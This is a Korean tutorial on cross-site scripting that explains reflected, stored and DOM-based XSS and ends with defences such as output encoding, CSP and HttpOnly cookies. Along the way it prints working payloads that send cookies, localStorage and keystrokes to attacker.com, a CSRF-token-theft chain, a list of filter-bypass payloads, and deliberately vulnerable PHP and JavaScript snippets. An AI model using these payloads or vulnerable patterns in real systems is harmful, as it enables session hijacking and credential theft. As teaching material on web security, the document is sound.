기본 원리: 브라우저는 스크립트를 어떻게 실행하는가
XSS를 이해하려면 먼저 브라우저가 웹 페이지를 어떻게 처리하는지 알아야 한다.
브라우저의 HTML 파싱과 스크립트 실행
브라우저는 서버에서 받은 HTML을 위에서 아래로 파싱한다. <script> 태그나 이벤트 핸들러(onclick, onerror 등)를 만나면 즉시 해당 JavaScript를 실행한다.
<!-- 서버가 보내는 HTML -->
<html>
<body>
<p>안녕하세요, alice님</p> <!-- 정상 텍스트 -->
<script>alert('XSS!')</script> <!-- 브라우저가 즉시 실행! -->
</body>
</html>
이때 브라우저는 <script>alert('XSS!')</script>가 서버가 의도한 것인지, 공격자가 삽입한 것인지 전혀 구분하지 않는다. 그냥 실행한다.
Same-Origin Policy (동일 출처 정책)
브라우저는 XSS를 막기 위해 SOP를 구현한다.
출처(Origin) = 프로토콜 + 도메인 + 포트
예: https://bank.com:443
SOP 규칙:
- https://bank.com의 JS는 https://bank.com의 쿠키/DOM에 접근 가능
- https://attacker.com의 JS는 https://bank.com의 쿠키/DOM에 접근 불가
XSS의 위험성: 공격자의 코드가 피해자의 브라우저에서, bank.com의 컨텍스트로 실행된다. SOP를 완벽하게 우회한다. bank.com에서 실행되는 JS이기 때문에 bank.com의 모든 쿠키와 DOM에 접근할 수 있다.
1. Reflected XSS — URL 기반 즉시 반사
사용자 입력이 서버를 거쳐 즉시 응답에 포함되어 실행된다.
공격 흐름:
1. 공격자: 악성 URL 생성 → 피해자에게 전달 (이메일, SNS 등)
2. 피해자: URL 클릭
3. 브라우저: 악성 URL로 서버에 요청
4. 서버: URL 파라미터를 HTML에 그대로 삽입하여 응답
5. 브라우저: 응답 파싱 중 스크립트 실행
6. 공격자: 피해자의 쿠키/세션 탈취
<!-- 취약한 PHP 코드 -->
<?php
$q = $_GET['q'];
echo "<h2>검색 결과: $q</h2>"; // 입력값을 그대로 HTML에 삽입
?>
공격 URL:
http://victim.com/search?q=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>
서버 응답:
<h2>검색 결과: <script>document.location='https://attacker.com/steal?c='+document.cookie</script></h2>
브라우저가 이를 파싱하면 스크립트가 실행되어 쿠키가 공격자 서버로 전송된다.
2. Stored XSS — DB 저장 후 모든 방문자에게 실행
악성 스크립트가 DB에 영구적으로 저장되어, 해당 페이지를 방문하는 모든 사용자에게 실행된다. 가장 파급력이 크다.
공격 흐름:
1. 공격자: 악성 스크립트를 댓글/게시글/프로필 등에 저장
2. 피해자 A: 해당 페이지 방문 → 스크립트 실행
3. 피해자 B: 해당 페이지 방문 → 스크립트 실행
4. 피해자 C: 해당 페이지 방문 → 스크립트 실행
(공격자가 없어도 계속 실행됨)
// 게시판 댓글에 삽입하는 XSS 페이로드
// 1. 쿠키 탈취 (세션 하이재킹)
<script>
new Image().src = 'https://attacker.com/c?cookie=' + encodeURIComponent(document.cookie);
</script>
// 2. 더 은밀한 방식 (fetch API 사용)
<script>
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({
cookie: document.cookie,
url: location.href,
localStorage: JSON.stringify(localStorage)
})
});
</script>
// 3. 이미지 태그 활용 (script 태그 필터링 우회)
<img src="x" onerror="this.src='https://attacker.com/c?'+document.cookie">
관리자가 해당 페이지를 방문하면 관리자 세션 쿠키를 탈취해 관리자 권한 탈취가 가능하다.
3. DOM-based XSS — 서버를 거치지 않는 클라이언트 취약점
서버는 완전히 안전한 HTML을 보내지만, 클라이언트 JavaScript가 DOM을 조작할 때 취약점이 발생한다. 서버 로그에 기록이 남지 않아 탐지가 어렵다.
// 취약한 코드: URL의 hash(#) 값을 innerHTML에 직접 삽입
// URL: https://victim.com/page.html#<img src=x onerror=alert(1)>
const name = decodeURIComponent(location.hash.slice(1));
document.getElementById('greeting').innerHTML = 'Hello, ' + name;
// innerHTML은 HTML을 파싱하므로 태그/이벤트핸들러도 실행됨!
소스(Source)와 싱크(Sink)
DOM XSS는 소스(사용자 제어 가능 데이터)가 싱크(위험한 함수)에 도달할 때 발생한다.
주요 소스 (Source):
- location.hash URL의 # 뒷부분
- location.search URL의 ? 파라미터
- location.href 전체 URL
- document.referrer 이전 페이지 URL
- window.name 브라우저 탭 이름
- postMessage 데이터 다른 창에서 받은 메시지
위험한 싱크 (Sink):
- element.innerHTML HTML 파싱 후 삽입 → 스크립트 실행
- element.outerHTML 동일
- document.write() HTML 문서에 직접 삽입
- eval() 문자열을 JS 코드로 실행
- setTimeout('...', n) 문자열 인자를 eval처럼 실행
- location.href = ... javascript: 프로토콜 주입 가능
// DOM XSS 예시들
// 1. location.href → location.href (javascript: 프로토콜)
// URL: page.html?redirect=javascript:alert(1)
const redirect = new URLSearchParams(location.search).get('redirect');
location.href = redirect; // javascript: 프로토콜 실행됨
// 2. postMessage 검증 없이 사용
window.addEventListener('message', (e) => {
document.getElementById('msg').innerHTML = e.data; // 취약
});
// 다른 창에서: window.opener.postMessage('<img onerror=alert(1) src=x>', '*')
// 3. 안전한 대안
document.getElementById('greeting').textContent = name; // 텍스트로만 처리
// textContent는 HTML 파싱을 하지 않으므로 안전
4. 실전 공격 시나리오
세션 하이재킹 — 관리자 계정 탈취
// 공격자가 게시판 댓글에 삽입
<script>
(function() {
// 세션 쿠키 탈취
var data = {
cookie: document.cookie,
url: location.href,
ua: navigator.userAgent,
time: new Date().toISOString()
};
// Beacon API: 페이지 이탈 후에도 전송 보장
navigator.sendBeacon('https://attacker.com/collect',
JSON.stringify(data));
})();
</script>
탈취된 쿠키를 브라우저에 설정하면 비밀번호 없이 해당 계정으로 로그인된다:
// Chrome 콘솔에서 탈취한 쿠키 설정
document.cookie = "session=STOLEN_SESSION_VALUE; path=/";
// → victim.com에서 victim의 계정으로 인증됨
Keylogger — 입력값 실시간 수집
<script>
document.addEventListener('keydown', function(e) {
fetch('https://attacker.com/key', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
key: e.key,
target: e.target.name || e.target.id, // 어떤 input인지
url: location.href
})
});
}, true); // 캡처 단계에서 실행 (암호 입력란도 캡처)
</script>
CSRF + XSS 조합 — CSRF 토큰 우회
현대 웹앱은 CSRF 방어로 숨겨진 토큰을 사용한다. XSS가 있으면 이 토큰도 탈취할 수 있다:
<script>
// 1단계: CSRF 토큰 탈취
fetch('/profile/edit', {credentials: 'include'})
.then(r => r.text())
.then(html => {
// HTML에서 CSRF 토큰 추출
const token = html.match(/name="csrf_token" value="([^"]+)"/)[1];
// 2단계: 탈취한 토큰으로 CSRF 요청 실행
return fetch('/admin/delete-user', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: `user_id=victim&csrf_token=${token}`
});
});
</script>
5. 필터 우회 기법
WAF나 입력 필터를 우회하는 다양한 방법이 있다.
<!-- 태그 변형 -->
<SCRIPT>alert(1)</SCRIPT> <!-- 대소문자 -->
<ScRiPt>alert(1)</sCrIpT>
<scr<script>ipt>alert(1)</script> <!-- 중첩 태그 (필터가 한 번만 치환 시) -->
<!-- 이벤트 핸들러 (script 태그 필터링 우회) -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onpageshow=alert(1)>
<details open ontoggle=alert(1)> <!-- HTML5 태그 -->
<video src=x onerror=alert(1)>
<!-- 인코딩 -->
<script>eval(atob('YWxlcnQoMSk='))</script> <!-- Base64: alert(1) -->
<img src=x onerror=alert(1)> <!-- HTML 엔티티 -->
<script>\u0061\u006c\u0065\u0072\u0074(1)</script> <!-- Unicode -->
<!-- javascript: 프로토콜 -->
<a href="javascript:alert(1)">클릭</a>
<a href="jAvAsCrIpT:alert(1)">클릭</a> <!-- 대소문자 우회 -->
<a href="java	script:alert(1)">클릭</a> <!-- 탭 삽입 -->
<!-- CSS (구형 브라우저) -->
<div style="background:url(javascript:alert(1))">
6. 방어 방법
✅ 출력 인코딩 (Output Encoding) — 가장 중요
사용자 입력을 출력하는 컨텍스트에 맞게 인코딩한다. <를 <로 변환하면 브라우저가 태그로 인식하지 않는다.
# Python: html.escape()
import html
safe = html.escape('<script>alert(1)</script>')
# → '<script>alert(1)</script>'
# 브라우저에서 텍스트로 표시됨, 실행 안 됨
# Jinja2 (자동 이스케이프 - 기본값)
{{ user_input }} # 자동 이스케이프 (안전)
{{ user_input | safe }} # ← 이스케이프 해제! 절대 사용 금지
// JavaScript DOM 조작 시
const name = getUserInput();
// ❌ innerHTML은 HTML 파싱 → XSS 가능
element.innerHTML = name;
// ✅ textContent는 텍스트로만 처리 → XSS 불가
element.textContent = name;
// ✅ HTML을 꼭 삽입해야 한다면 DOMPurify 사용
element.innerHTML = DOMPurify.sanitize(name, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong'],
ALLOWED_ATTR: [] // 이벤트 핸들러 속성 제거
});
✅ Content Security Policy (CSP)
CSP는 브라우저에게 "이 페이지에서는 어떤 스크립트만 실행 가능하다"고 알려준다. 인라인 스크립트 실행 자체를 차단해 XSS 페이로드를 무력화한다.
# 강력한 CSP 헤더
Content-Security-Policy:
default-src 'self'; # 기본: 같은 출처만
script-src 'self' 'nonce-{RANDOM}'; # 스크립트: nonce 있는 것만
style-src 'self' 'unsafe-inline'; # CSS: 인라인 허용
img-src 'self' data: https:; # 이미지: HTTPS 전체
connect-src 'self'; # fetch/XHR: 같은 출처만
frame-ancestors 'none'; # Clickjacking 방지
<!-- nonce 방식: 각 요청마다 서버가 랜덤 값 생성 -->
<!-- 서버: nonce = 랜덤 생성 후 헤더와 HTML 양쪽에 삽입 -->
<script nonce="abc123XYZ">
// 이 스크립트만 실행 허가 (nonce 값이 헤더와 일치)
doLegitimateWork();
</script>
<!-- 공격자의 인라인 스크립트는 nonce가 없으므로 실행 차단 -->
<script>document.location='https://attacker.com/?c='+document.cookie</script>
<!-- → CSP가 차단: Refused to execute inline script because nonce does not match -->
✅ HttpOnly + Secure 쿠키
XSS에 성공해도 쿠키를 훔치지 못하게 막는다.
# Flask
response.set_cookie(
'session',
value=session_token,
httponly=True, # JS에서 document.cookie로 접근 불가
secure=True, # HTTPS에서만 전송
samesite='Strict' # CSRF 방지
)
HttpOnly 쿠키는 document.cookie로 접근할 수 없다. XSS 페이로드가 쿠키를 읽으려 해도 빈 문자열만 반환된다.
핵심 정리
| 유형 | 저장 위치 | 피해 범위 | 서버 로그 |
|---|---|---|---|
| Reflected XSS | 없음 (URL) | URL 클릭한 사람만 | 남음 |
| Stored XSS | DB | 해당 페이지 모든 방문자 | 남음 |
| DOM-based XSS | 없음 (클라이언트) | URL 클릭한 사람만 | 안 남음 |
3단계 방어 전략:
- 출력 인코딩 — 모든 사용자 입력을 컨텍스트에 맞게 이스케이프
- CSP — 인라인 스크립트 실행 자체를 차단
- HttpOnly 쿠키 — XSS 성공해도 세션 탈취 불가